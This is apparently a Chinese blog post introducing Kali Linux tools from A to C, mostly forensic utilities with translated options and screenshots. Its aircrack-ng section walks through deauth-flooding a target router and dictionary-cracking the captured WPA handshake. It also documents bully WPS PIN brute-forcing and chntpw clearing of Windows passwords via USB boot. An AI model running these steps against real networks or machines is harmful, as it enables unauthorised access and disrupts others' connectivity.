kali全部软件介绍

=对于部分istat软件和img软件 需要了解inode是什么==

==详情见我的另一篇文章 《shell编程学习》2.2中的内容==

==A==

arping(没写完)

arping命令是用于发送arp请求到相邻主机的工具,arping使用arp数据包
arping有两个版本,一个版本是Thomas Habets这个人写的,这个版本有个好处是可以arping <MAC地址>,也就是说我们可以通过MAC地址得到IP。

而我们kali上的arping就是这个版本的

语法

1
Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination

-A:与-U参数类似,但是使用的是ARP REPLY包而非ARP REQUEST包。
-b:发送以太网广播帧,arping在开始时使用广播地址,在收到回复后使用unicast单播地址。
-c:发送指定的count个ARP REQUEST包后停止。如果指定了-w参数,则会等待相同数量的ARP REPLY包,直到超时为止。
-D:重复地址探测模式,即,Duplicate address detection mode (DAD),用来检测有没有IP地址冲突,如果没有IP冲突则返回0。
-f:收到第一个响应包后退出。
-h:显示帮助页。
-I:用来发送ARP REQUEST包的网络设备的名称。
-q:quite模式,不显示输出。
-U:无理由的(强制的)ARP模式去更新别的主机上的ARP CACHE列表中的本机的信息,不需要响应。
-V:显示arping的版本号。
-w:指定一个超时时间,单位为秒,arping在到达指定时间后退出,无论期间发送或接收了多少包。在这种情况下,arping在发送完指定的count(-c)个包后并不会停止,而是等待到超时或发送的count个包都进行了回应后才会退出。
-s:设置发送ARP包的IP资源地址,如果为空,则按如下方式处理:
1、DAD模式(-D)设置为0.0.0.0;
2、Unsolicited模式(-U)设置为目标地址;
3、其它方式,从路由表计算。

实例

1、查看某个IP的MAC地址

有多个网卡可以用 -I 指定网卡接口

Atril文档查看器

image-20220406215134443

就这样、常用于看pdf文件

左边目录右边数据

还挺好用的

autopsy

它是首屈一指的端到端开源数字取证平台。 由Basis Technology构建,具有您在商业取证工具中所期望的核心功能,Autopsy是一种快速,全面,高效的硬盘调查解决方案,可根据您的需求而发展。

使用方法

image-20220406215354267

打开生成的链接

image-20220406215520154

新建一个newcase

image-20220406215942391

填好必要信息之后点击new case

image-20220406220018642

点击add host

按照默认的设置继续点击add host

在下图中点击add image加载将要分析的镜像

image-20220406220213069

image-20220406220225040

选择校验hash值的选项,然后add

image-20220406220245203

autopsy会计算文件的hash,点击ok即可

image-20220406220334017

回来到如下界面

image-20220406220410126

点击右侧的details可以查看镜像名称、volume ID、文件格式等细节

image-20220406220446728

点击浏览器的返回按钮就可以返回先前的界面继续分析
在分析之前我们可以通过MD5 hash校验镜像的完整性,点击image integrity即可

image-20220406220638074

点击validate按钮来验证

image-20220406220653642

在左下角可以看到验证通过,点击close继续分析

主界面中点击analyse进行分析

image-20220406220736879

之后进入到如下界面

image-20220406220906070

点击上面的image details菜单

image-20220406220919741

可以看到版本等详细信息,接下来点击file analysis

image-20220406221332024

进入了文件浏览模式,可以查看镜像中的文件夹和文件,在主视区域可以可以看到项目的权限、大小、metadata等

image-20220406221619976

在界面的左侧有四个主要的功能

image-20220406221635585

点击expand direcroty,所有的内容都可以很容易被查看

image-20220406221704936

点击前面的“+“,则在右侧的主视图的区域还有显示子目录
要查看删除的文件,可以点击all deleted files按钮

image-20220406221857396

删除的文件在主视图区域被用红色字体标记
拉到最右边,点击meta下的链接

image-20220406222038970

可以看到详细的信息。包括16进制的数据以及扩展名等
比如我们从图中可以看到原来的扩展名很奇怪,hmm

image-20220406222118499

我们点击蓝色字体的1066

image-20220406222136300

可以看到JPEG文件格式的特征。这意味着file7.hmm可能是一个jpeg文件,只不过扩展名被修改了

查看每个文件的元数据metadata并不现实,此时可以用到file type的功能
点击上面的file type一栏即可

image-20220406222327304

点击左侧的sort files by type,以及右侧的ok

image-20220406222342322

排序结束之后,归纳的结果就出来了

image-20220406222420206

比如在上图中可以看到有5个扩展不匹配

接下来我们可以点击左侧的view sorted files查看排序后的文件

image-20220406222530068

给出了输出文件夹的路径
按照相应路径打开即可

image-20220406222604401

使用firefox打开index.html

image-20220406222620343

扩展名不匹配的文件如下图所示

image-20220406222654452

这五个文件可以进一步通过查看元数据进行分析,和上面的步骤是一样的
可能有时候某些意外暂停了这次的分析,下次启动时只需要点击open case

image-20220406222721755

选中需要分析的case,点击ok就可以继续分析了

image-20220406222756035

windows版本使用方法:https://www.wangan.com/docs/1658

aircrack-ng wifi

(最好在实体kali机中使用)

ifconfig查看你的网卡信息,wlan0即无线网卡

airmon-ng start wlan0(启动网卡监听模式)

启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。

扫描附近wifi

airodump-ng wlan0mon

参数详解:

BSSID: MAC地址

PWR:信号强度,越小信号越强。

#Data:传输的数据, 数据越大对我们越有利, 大的夸张的可能在看电影

CH:信号频道

ESSID:wifi名称

抓包开始

然后输入命令:

1
airodump-ng -c 11 --bssid 2E:E9:D3:28:59:EB -w ``/home/chenglee/2018/` `wlan0mon

解析:

-c代表频道, 后面带的是频道

bssid: mac地址(物理地址)

-w代表目录(抓到的握手包放在这个目录下面)

wlan0mon: 网卡名称

一直跑吖跑, 它的数据是不停刷新变化的…

这时候应该做点什么了,利用deauth洪水攻击,取消目标路由和所有设备的无线连接,这时候设备重新连接时,会抓取他的握手包,然后用字典进行爆破.

新开一个窗口观察

下面是进行抓包然后破解出该密码

aireplay-ng -0 0 -a 2E:E9:D3:28:59:EB wlan0mon

这时候目标路由已经断网,如果抓到包记得ctrl+c关掉这里,否则一直断网就成恶作剧了。这时返回你抓包的那个窗口,如果右上角出现handshake这样的信息(看下图),这说明抓包已经成功。

8.破解

输入:aircrack-ng -w ``/home/chenglee/dictionary/wpa``.txt ``/home/chenglee/2018/-01``.cap

解析:

-w后面接的是字典

-01.cap是握手包

也许过程会有点长, 这个得看密码复杂的与字典的好坏。

arpspof

https://x.hacking8.com/post-108.html

B

binwalk

1.固件分析扫描

image-20220406223445373

2.提取文件系统

image-20220406223558481

1
2
3
4
5
# 使用默认的预定义配置文件extract.conf
$ binwalk -e firmware.bin

# 使用指定自定义的配置文件my_extract.conf
$ binwalk --extract=./my_extract.conf firmware.bin

3.设置过滤选项

image-20220406224203956

4.显示完整的扫描结果

image-20220406224237155

image-20220406224301181

5.固件文件的比较

image-20220406224535012

6.日志记录

image-20220406224829968

7.指令系统分析

image-20220406224903442

8.熵分析

image-20220406225013776

9.启发式分析

image-20220406225133301

10.手动提取文件

-D, –dd=<type[:ext[:cmd]]>

Extracts files identified during a –signature scan. Multiple –dd options may be specified.

  • type is a lower case string contained in the signature description (regular expressions are supported)
  • ext is the file extension to use when saving the data disk (default none)
  • cmd is an optional command to execute after the data has been saved to disk

By default, the file name is the hexadecimal offset where the signature was found, unless an alternate file name is specified in the signature itself.

The following example demonstrates specifying an extraction rule using the –dd option that will extract any signature that contains the string ‘zip archive’ with a file extension of ‘zip’, and subsequently execute the ‘unzip’ command. Additionally, PNG images are extracted as-is with a ‘png’ file extension.

Note the use of the ‘%e’ placeholder. This placeholder will be replaced with the relative path to the extracted file when the unzip command is executed:

image-20220406225252790

image-20220406225626062

其他附加操作详见https://blog.csdn.net/wxh0000mm/article/details/85683661

blkcalc

描述:

在未分配的磁盘单元编号和常规磁盘单元编号之间进行转换。
  blkcalc在两个映像之间创建磁盘单元号映射,一个映像与另一个映像仅包含第一个映像的未分配单元(blkls(1)程序的默认行为).- d,-s或-u选项之一 如果给定了-d选项,则unit_addr值是常规映像(即从dd开始)中的磁盘单元地址。 如果未分配单元,则会在未分配的映像中给出其地址。 如果给出-u选项,则unit_addr值是未分配单元映像中的磁盘单元地址(即来自blkls(1)),并确定其在原始映像中的磁盘单元地址。 如果指定了-s选项,则unit_addr值是备用映像中的磁盘单元地址(即来自blkls -s的地址)。 该图片是完整的原始图片(即来自dd的图片)。 在3.0.0之前的TSK版本中,blkcalc被称为dcalc。
  要读取的磁盘或分区映像,其格式用“-i”指定。 如果图像被分割成多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个文件(例如,以’.001’结尾的文件),则会自动包含后续的图像段。 当关键字搜索由blkls生成的图像时,此功能很有用。 这样一来,您可以识别原始单元地址并提供更好的文档。

选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-f fstype 
标识映像的文件系统类型。使用'-f 列表'列出支持的文件系统类型。如果没有给出,则使用自动检测方法。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
在映像中文件系统开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v
详细输出到标准代码。

-V
显示版本信息

blkcat

描述:

针对image(磁盘映像)或者图像

blkcat-在磁盘映像中显示文件系统数据单元的内容。

blkcat从图像到标准输出的单位地址unit_addr以不同格式显示num数据单位(默认为1)(默认为原始)。在3.0.0之前的TSK版本中,blkcat被称为dcat。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
-a

以ASCII格式显示内容

-f fstype

将图像指定为特定文件类型。如果在此处提供'swap',则图像将以4096字节的大小显示。如果提供'raw',则使用512字节作为默认大小.'- u '标志可以更改默认大小。使用'-f list'列出支持的文件系统类型。如果未给出,则使用自动检测方法。

-h

以16进制显示内容

-s

显示图像的统计信息(单位大小、文件块大小和片段数量)。

-u unit_size

指定原始图像,blkls和交换图像的默认数据单元的大小。

-i imgtype

标识图像文件的类型,例如原始文件。使用“ -i列表”列出支持的类型。如果未给出,则使用自动检测方法。

-o imgoffset

文件系统在映像中开始的扇区偏移量。

-b dev_sector_size

基础设备扇区的大小(以字节为单位)。如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v

详细输出到标准代码

-V

打印版本信息

-w

以HTML表格格式显示内容。

Image [images]

要读取的磁盘或分区映像,其格式用'-i'指定。如果图像被分割成多个段,则可以指定多个图像文件名。如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

unit_addr

要显示的磁盘单元的地址。可以使用-s选项确定该文件系统上单元的大小。

num

要显示的数据单元数。

blkcat的基本功能也可以使用dd来实现。要确定哪个inode已经分配了给定的单元,可以使用ifind(1)命令。

image-20220406232716314

blkstat

描述:

针对image(磁盘映像)或者图像

显示文件系统数据单元的详细信息(例如块或扇区)。
blkstat显示给定数据单元的分配状态。在3.0.0之前的TSK版本中,blkstat被称为dstat。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-f fstype
指定文件系统类型。使用'-f list'列出支持的文件系统类型。如果未给出,则使用自动检测方法。

-i imgtype
识别图像文件的类型,如raw。使用'-i list'列出支持的类型。如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-bdev_sector_size
基础设备扇区的大小(以字节为单位)。如果未指定,则使用图像格式的值(如果存在)或假定为512字节。

-v
将调试语句详细输出到stderr

-V
打印版本信息

image[images]
要读取的磁盘或分区映像,其格式用'-i'指定。如果图像被分割成多个段,则可以指定多个图像文件名。如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

addr
显示统计信息的地址。这是UNIX文件系统或FAT扇区的片段。

bulk_extractor

介绍

bulk_extractor是从数字证据文件中提取诸如电子邮件地址,信用卡号,URL和其他类型的信息的功能的程序。 它是一个有用的取证调查工具,可以用于许多任务,如恶意软件和入侵调查,身份调查和网络调查,以及图像分析和密码破解。 该程序提供了几个不寻常的功能:

1.发现其他工具发现不了的信息,如电子邮件地址,URL和信用卡号码,得益于它能处理压缩数据(如ZIP,PDF和GZIP文件)以及不完整或部分损坏的数据。 它可以从压缩数据的片段中提取JPEG文件,办公文档和其他类型的文件 ,还可以自动检测并提取加密的RAR文件。
2.根据数据中发现的所有单词构建单词列表,甚至可以是在未分配空间的压缩文件中的数据。 这些单词列表可用于密码破解。
3.多线程的; 速度快节约时间
4.分析完之后创建直方图,显示电子邮件地址,URL,域名,搜索关键词和其他类型的信息。

bulk_extractor可以对磁盘映像,文件或文件目录进行分析,并在不分析文件系统或文件系统结构的情况下提取有用的信息。 输入被分割成页面并由一个或多个扫描器处理。 结果存储在特征文件中,可以使用其他自动化工具轻松检查,解析或处理。

bulk_extractor还创建了它所发现的特征的直方图。 这样非常有用,因为诸如电子邮件地址和网络搜索关键词的功能往往很常见且重要。

除了上述功能之外,bulk_extractor还包括以下功能:

5.具有浏览特征文件中存储的功能以及启动bulk_extractor扫描的图形用户界面的Bulk Extractor Viewer
6.少量用于对特征文件进行额外分析的python程序

功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
bulk_extractor - 在不解析文件系统的情况下提取信息。
bulk_extractor version 1.6.0-dev
用法:bulk_extractor [选项] 文件
运行bulk_extractor并提取摘要信息并输出到文件
必需参数:
imagefile - 要提取的文件
或者-R filedir - 遍历目录下的文件
支持E01文件
支持AFF文件
-o outdir - 指定输出目录,目录不得已存在
bulk_extractor将创建此目录
选项:
-i - 信息模式。快速分析随机取样的样本并打印报告
-b banner.txt- 将banner.txt内容添加到每个输出文件的头部
-r alert_list.txt- 包含提醒作业的警报列表的文件
(可以是特征文件或全局列表)
(可以重复)
-w stop_list.txt - 包含功能停止列表的文件(白名单)
(可以是特征文件或全局列表)
(可以重复)
-F <rfile> - 从<rfile>读取正则表达式列表以查找
-f <regex> - 查找出现的<regex>;可能重复。
结果存入find.txt
-q nn- 静默的模式;只输出nn级别的状态报告。默认值0; -1,没有状态输出
-s frac [:passes] - 设置随机抽样参数
调整参数:
-C NN- 指定上下文窗口的大小(默认值为16)
-S fr:<name>:window = NN - 指定录像机到NN的上下文窗口
-S fr:<name>:window_before = NN- 指定之前的上下文窗口到NN为记录器
-S fr:<name>:window_after = NN - 指定后缀到NN后的上下文窗口
-G NN- 指定页面大小(默认16777216)
-g NN- 指定余量(默认4194304)
-j NN- 要运行的分析线程数(默认4)
-M nn- 设置最大递归深度(默认7)
-m <max> - 所有数据读取后等待的最大分钟数(默认60)
路径处理模式:
-p <path> / f - 以给定的格式打印<path>的值。
格式:r = 源格式; h = 十六进制格式。
指定-p - 进行交互模式
指定-p -http为HTTP模式
并行化:
-Y <o1>- 在o1开始处理(o1可以是1,1K,1M或1G)
-Y <o1> - <o2> - 处理o1-o2
-A <off> - 将<off>添加到所有报告的特征偏移
调试:
-h - 打印此消息
-H - 打印扫描仪的详细信息
-V - 打印版本号
-z nn- 从第nn页开始
-dN- 调试模式(参见源代码)
-Z - 清除输出目录
扫描控制:
-P <dir> - 指定一个插件目录
默认目录包括/usr/local/lib/bulk_extractor,/usr/lib/bulk_extractor和
BE_PATH环境变量
-e <scanner> 启用扫描器 - -e all 全部启用
-x <scanner> 禁用扫描器 - -x all 全部禁用
-E <scanner> - 关闭除指定扫描器以外的所有扫描器
(与-x all -e <scanner>效果一样)
注意:-e,-x和-E命令按顺序执行
例如:'-E gzip -e facebook'只运行gzip和facebook
-S name = value - 将批量提取器选项名称设置为值
可设置选项(及其默认值):
-S work_start_work_end = YES 在report.xml文件中记录每个扫描器的工作开始和结束时间
-S enable_histograms = YES 禁用生成直方图
-S debug_histogram_malloc_fail_frequency = 0 设置大于零记录内存分配失败直方图
-S hash_alg = md5指定用于所有哈希计算的哈希算法
-S dup_data_alerts =NO 重复数据未处理时通知
-S write_feature_files = YES 写入特征文件
-S write_feature_sqlite3 = NO将特征文件写入report.sqlite3
-S report_read_errors = YES报告读取错误
-S carve_net_memory = NO 提取网络内存结构(net)
-S word_min = 6最小字大小(wordlist)
-S word_max = 14 最大字大小(wordlist)
-S max_word_outfile_size = 100000000 输出文件的最大大小(wordlist)
-S wordlist_use_flatfiles = YES覆盖SQL设置并对wordlist(wordlist)使用flatfiles
-S ssn_mode = 00=正常格式; 1=不需要SSN; 2=去掉破折号(accts)
-S min_phone_digits = 7手机所需的数字(accts)
-S exif_debug = 0读取exif信息(exif)
-S jpeg_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(exif)
-S min_jpeg_size = 1000将被雕刻的最小的JPEG流(exif)
-S zip_min_uncompr_size = 6ZIP未压缩对象的最小大小(zip)
-S zip_max_uncompr_size = 268435456ZIP未压缩对象的最大大小(zip)
-S zip_name_len_max = 1024 ZIP组件的最大名称filename(zip)
-S unzip_carve_mode = 10=不提取; 1=雕刻编码提取; 2=全部提取(zip)
-S rar_find_components = YES 搜索RAR组件(rar)
-S rar_find_volumes = YES搜索RAR卷(rar)
-S unrar_carve_mode = 10=不提取; 1=雕刻编码提取; 2=全部提取(rar)
-S gzip_max_uncompr_size = 268435456 解压缩GZIP对象的最大大小(gzip)
-S pdf_dump = NO 转储PDF缓冲区的内容(pdf)
-S pdf_dump = NO 转储PDF缓冲区的内容(msxml)
-S winpe_carve_mode = 10=不提取; 1=雕刻编码提取; 2=全部提取(winpe)
-S opt_weird_file_size = 157286400 FAT32扫描(windir)的阈值
-S opt_weird_file_size2 = 536870912FAT32扫描(windir)的阈值
-S opt_weird_cluster_count = 67108864FAT32扫描(windir)的阈值
-S opt_weird_cluster_count2 = 268435456FAT32扫描(windir)的阈值
-S opt_max_bits_in_attrib = 3忽略更多属性设置的FAT32条目(windirs)
-S opt_max_weird_count = 2 忽略奇怪的FAT32条目(windirs)
-S opt_last_year = 2022忽略晚于此FAT32条目(windirs)
-S xor_mask = 255设置XOR掩码值,十进制格式(xor)
-S sqlite_carve_mode = 2 0=不提取; 1=雕刻编码提取; 2=全部提取(sqlite)
以下扫描默认禁用;启用使用-e命令:
-e base16 - 启用扫描base16
-e facebook - 启用扫描facebook
-e outlook- 启用扫描outlook
-e sceadan- 启用扫描sceadan
-e wordlist - 启用扫描wordlist
-e xor- 启用扫描xor
以下扫描默认启用;禁用使用-x命令:
-x accts- 禁用扫描程序
-x aes- 禁用扫描aes
-x base64 - 禁用扫描base64
-x elf- 禁用扫描elf
-x mail - 禁用扫描邮件
-x exif - 禁用扫描exif
-x find - 禁用扫描发现
-x gps- 禁用扫描gps
-x gzip - 禁用扫描gzip
-x hiberfile- 禁用扫描hiberfile
-x httplogs - 禁用扫描httplogs
-x json - 禁用扫描json
-x kml- 禁用扫描kml
-x msxml- 禁用扫描msxml
-x net- 禁用扫描net
-x pdf- 禁用扫描pdf
-x rar- 禁用扫描rar
-x sqlite - 禁用扫描sqlite
-x vcard- 禁用扫描vcard
-x windirs- 禁用扫描windirs
-x winlnk - 禁用扫描winlnk
-x winpe- 禁用扫描winpe
-x zip- 禁用扫描zip
-x winprefetch - 禁用扫描winprefetch

示例

分析映像文件后,将结果导出到输出目录(-o bulk-out)(xp-laptop-2005-07-04-1430.img):

aliyunzixun@xxx.com:~# bulk_extractor -o bulk-out xp- laptop-2005-07-04-1430.img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
bulk_extractor version 1.6.0-dev
Hostname: kali
Input file: xp-laptop-2005-07-04-1430.img
Output directory: bulk-out
Disk Size: 536715264
Threads: 1
Phase 1.
13:02:46 Offset 0MB (0.00%) Done in n/a at 13:02:45
13:03:39 Offset 67MB (12.50%) Done in0:06:14 at 13:09:53
13:04:43 Offset 134MB (25.01%) Done in0:05:50 at 13:10:33
13:04:55 Offset 201MB (37.51%) Done in0:03:36 at 13:08:31
13:06:01 Offset 268MB (50.01%) Done in0:03:15 at 13:09:16
13:06:48 Offset 335MB (62.52%) Done in0:02:25 at 13:09:13
13:07:04 Offset 402MB (75.02%) Done in0:01:25 at 13:08:29
13:07:20 Offset 469MB (87.53%) Done in0:00:39 at 13:07:59
All Data is Read; waiting for threads to finish...
Time elapsed waiting for 1 thread to finish:
(please wait for another 60 min .)
Time elapsed waiting for 1 thread to finish:
6 sec (please wait for another 59 min 54 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
12 sec (please wait for another 59 min 48 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
18 sec (please wait for another 59 min 42 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
24 sec (please wait for another 59 min 36 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
30 sec (please wait for another 59 min 30 sec.)
Thread 0: Processing 520093696
All Threads Finished!
Producer time spent waiting: 335.984 sec.
Average consumer time spent waiting: 0.143353 sec.
*******************************************
** bulk_extractor is probably CPU bound. **
**Run on a computer with more cores**
**to get better performance. **
*******************************************
Phase 2. Shutting down scanners
Phase 3. Creating Histograms
ccn histogram... ccn_track2 histogram... domain histogram...
email histogram... ether histogram... find histogram...
ip histogram... tcp histogram... telephone histogram...
url histogram... url microsoft-live... url services...
url facebook-address... url facebook-id... url searches...
Elapsed time: 378.5 sec.
Overall performance: 1.418 MBytes/sec.
Total email features found: 899

bully

描述:

是 WPS 穷举法的一个新实现,用 c 语言编写。它在概念上与其他程序相同,因为它利用了 WPS 规范中的(现在众所周知的)设计缺陷。与原始的reaver 代码相比,它有几个优点。其中包括减少依赖项、改进内存和 cpu 性能、正确处理 endianness 以及更健壮的选项集。它运行在 Linux 上,并且是专门为在嵌入式 Linux 系统(OpenWrt 等)上运行而开发的,无论其体系结构如何。

必需参数:

-b,–bssid macaddr
目标接入点的MAC地址

-e,–essid string
接入点的扩展SSID

可选参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
-c,--channel N[,N…]
AP的信道号或要跳的列表[b /g]

-i,--index N
启动pin索引(78位数字)[自动]

-l,--lockwait N
如果AP锁定WPS,则要等待的秒数[43]

-o,--outfile file
消息输出文件

-p,--pin N
启动pin号(7位或8位)[自动]

-s,--source macaddr
源(硬件)MAC地址[探针]

-u,--lua
Lua脚本文件

-v,--verbosity N
详细程度1-4,其中1最简洁[3]

-w,--workdir path
pin/会话文件的位置[~/.bully/]

-5,--5ghz
跳到5GHz a / n默认频道列表[否]

-B,--bruteforce
WPS pin校验和数字[否]

-F,--force
尽管发出警告,仍然继续强制进行[否]

-S,--sequential
pin序列(不随机)[No]

-T,--test
测试模式(不注入任何数据包)[否]

高级参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
-d,--pixiewps
尝试使用pixiewps[否]

-a,--acktime N
弃用/忽略[自动]

-r,--retries N
未确认时重新发送数据包N次[2]

-m,--m13time N
弃用/忽略[自动]

-t,--timeout N
弃用/忽略[自动]

-1,--pin1delay M,N
在M5的第N个小节延迟M秒[0,1]

-2,--pin2delay M,N
在M7的第N个小节延迟M秒[5,1]

-A,--noacks
对发送的数据包禁用ACK检查[否]

-C,--nocheck
跳过CRC / FCS验证(性能)[否]

-D,--detectlock
检测AP未报告的WPS锁定[否]

-E,--eapfail
EAP失败会终止每次交换[否]

-L,--lockignore
忽略AP报告的WPS锁[否]

-M,--m57nack
作为WSC_NACK的M5/M7超时处理[否]

-N,--nofcs
数据包不包含FCS字段[自动]

-P,--probe
对非信标AP使用探测请求[否]

-Q,--wpsinfo
使用探测请求收集WPS信息[否]

-R,--radiotap
假设存在radiotap标头[自动]

-W,--windows7
伪装成Windows 7注册商[否]

-Z,--suppress
抑制数据包节流算法[否]

-V,--version
打印版本信息

-h,--help
打印帮助信息

burpsuite

不用讲了

C

cadaver

描述:

cadaver是WEBDAV的 客户端

WebDAV协议允许用户通过HTTP保存和共享文件,这是一个非常有价值的突破,因为HTTP通常是只读的,除了访问文档外,用户可以编辑和重新上传它 们,你可以将其理解为一种基于HTTP的网络文件系统,或一种支持长距离文件协作的方法。WebDAV协议支持文件锁和版本控制,因此,当你访问到 WebDAV文件夹后,你就可以编辑文件,不用担心会覆盖其他人的编辑成果。时至今日,虽然在线协作的方法越来越多,但WebDAV在文件共享方面仍然有 它的用处,特别是有很多的服务器和客户端软件支持它。

adaver支持文件上载,下载,屏幕显示,名称空间操作(移动和复制),集合创建和删除以及锁定操作,其操作类似于标准BSD ftp(1)客户端和Samba项目的smbclient(1)。 熟悉这些工具的用户应该会对cadaver相当熟悉。
cadaver支持通过.netrc文件自动登录到需要身份验证的服务器(类似于ftp(1)

选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-t,--tolerant
允许cd / ope进入未启用WebDAV的集合; 如果服务器或代理服务器有WebDAV合规性问题,请使用。

-r,--rcfile=file
使用此rcfile而不是默认的〜/ .cadaverrc

-p,--proxy=host[:port]
使用代理主机“host”和可选代理端口“port”连接。

-V,--version
显示版本信息

-h,--help
显示帮助信息

. netrc文件

文件~/.netrc可用于自动登录到需要身份验证的服务器。可以使用以下标记(用空格、制表符或换行符分隔):
  机器主机
    标识一个远程计算机主机,它与命令行上给定的主机名相比较,或者作为打开命令的参数。直到文件末尾或下一个机器或默认令牌的任何后续令牌都与此条目相关联。
  默认
    这等效于机器令牌,但匹配任何主机名。 只能使用一个默认令牌,并且必须在所有机器令牌之后。
  登录用户名
    指定登录到远程计算机时使用的用户名
  密码
    指定登录到远程计算机时使用的密码。

Catfish

文件快速搜素工具,类似windows上的Everything

image-20220406235429984

cewl

image-20220406235653400

cewl通过爬行网站获取关键信息创建一个密码字典。

官网:http://digi.ninja/projects/cewl.php

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
cewl [OPTION] ... URL

cewl [选项] ... URL

--help,-h:显示帮助

--keep,-k:保留下载的文件

--depth x,-d x:深度到蜘蛛,默认2

--min_word_length,-m:最小字长,默认为3

--offsite,-o:让蜘蛛访问其他网站

--write,-w file:将输出写入文件

--ua,-u user-agent:用户代理发送

--no-words,-n:不输出单词表

--meta, -a 包含元数据

--meta_file file:元数据的输出文件

--email,-e包括电子邮件地址

--email_file file:电子邮件地址的输出文件

--meta-temp-dir directory:exiftool在解析文件时使用的临时目录,默认为/ tmp

--count,-c:显示找到的每个单词的计数

认证

--auth_type:摘要或基本

--auth_user:认证用户名

--auth_pass:认证密码

代理支持

--proxy_host:代理主机

--proxy_port:代理端口,默认8080

--proxy_username:代理的用户名,如果需要的话

--proxy_password:代理的密码(如果需要)

Headers头

--header, -H: 格式名称:值 - 可以传递多个

--verbose, -v: 详细

URL: 蜘蛛网站。

示例:

cewl -v www.fujieace.com

image-20220406235933063

cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt (1.1.1.1可以是目标网站的ip地址,也可以是网址)

-m:最小单词长度
-d:爬网深度
-e:收集包含emali地址信息
-c:每个单词出现的次数
支持基本,摘要,身份验证

更多详细用法:

https://www.ddosi.org/cewl/

cherryTree

一个富文本软件

image-20220411130327239

chntpw

这个在实战中只能用于物理攻击

或者针对window虚拟机(因为虚拟机可以开启虚拟映像)

描述:

覆盖Windows系统密码的实用程序。
  chntpw是一个实用程序,用于查看一些信息并重置Microsoft Windows操作系统(在NT3.x和更高版本中)使用的Windows NT / 2000 SAM用户数据库文件中的用户密码。 该文件通常位于Windows文件系统上的\ WINDOWS \ system32 \ config \ SAM中。 无需知道先前的密码即可重置它们。 此外,它还包含一个简单的注册表编辑器和ahex编辑器,可以使用它浏览和修改注册表文件中包含的信息。
  该程序应该能够处理32位和64位Microsoft Windows以及从NT3.x到Win8.1的所有版本。

选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-h
显示选项的摘要信息。

-u username
要更改的用户名或用户名ID(RID)。 默认值为“Administrator”。

-l
列出SAM数据库中的所有用户,然后退出。

-i
交互菜单系统:列出所有用户(按-l选项),然后要求用户更改。

-e
功能有限的注册表编辑器(但它确实包括写支持)。有关更强大的编辑器,请参阅reged

-d
使用缓冲调试器代替(十六进制编辑器)

-L
将所有更改的文件名记录到/ tmp / changed。 设置此选项后,程序将自动将更改保存在配置单元文件中,而不会提示用户。 在多用户系统中将-L选项作为root用户使用时要小心。 文件名是固定的,恶意用户可以使用它(删除具有相同名称的符号链接)来覆盖系统文件。

-N
不要分配更多信息,仅允许编辑相同大小的现有值。

-E
不要展开配置单元文件(安全模式)。

-v
打印详细信息和调试消息。

操作的工具需要一个kaili live系统,将目标机器设为USB启动,这样就可以通过USB在目标机器上启动kali了。

进入Kali后,将挂载包含Windows文件夹的硬盘,进入到SAM的目录下,再使用chntpw工具清空密码信息,最后退出系统弹出U盘并启动目标系统,就可以空密码登陆系统了。
命令演示:

image-20220411130940937

image-20220411131429585

image-20220411131444017

image-20220411131457485

可以直接回车使用默认选择的用户也可以输入用户的RID指定用户

image-20220411131522202

选择1后,显示Password cleared!

image-20220411131546814

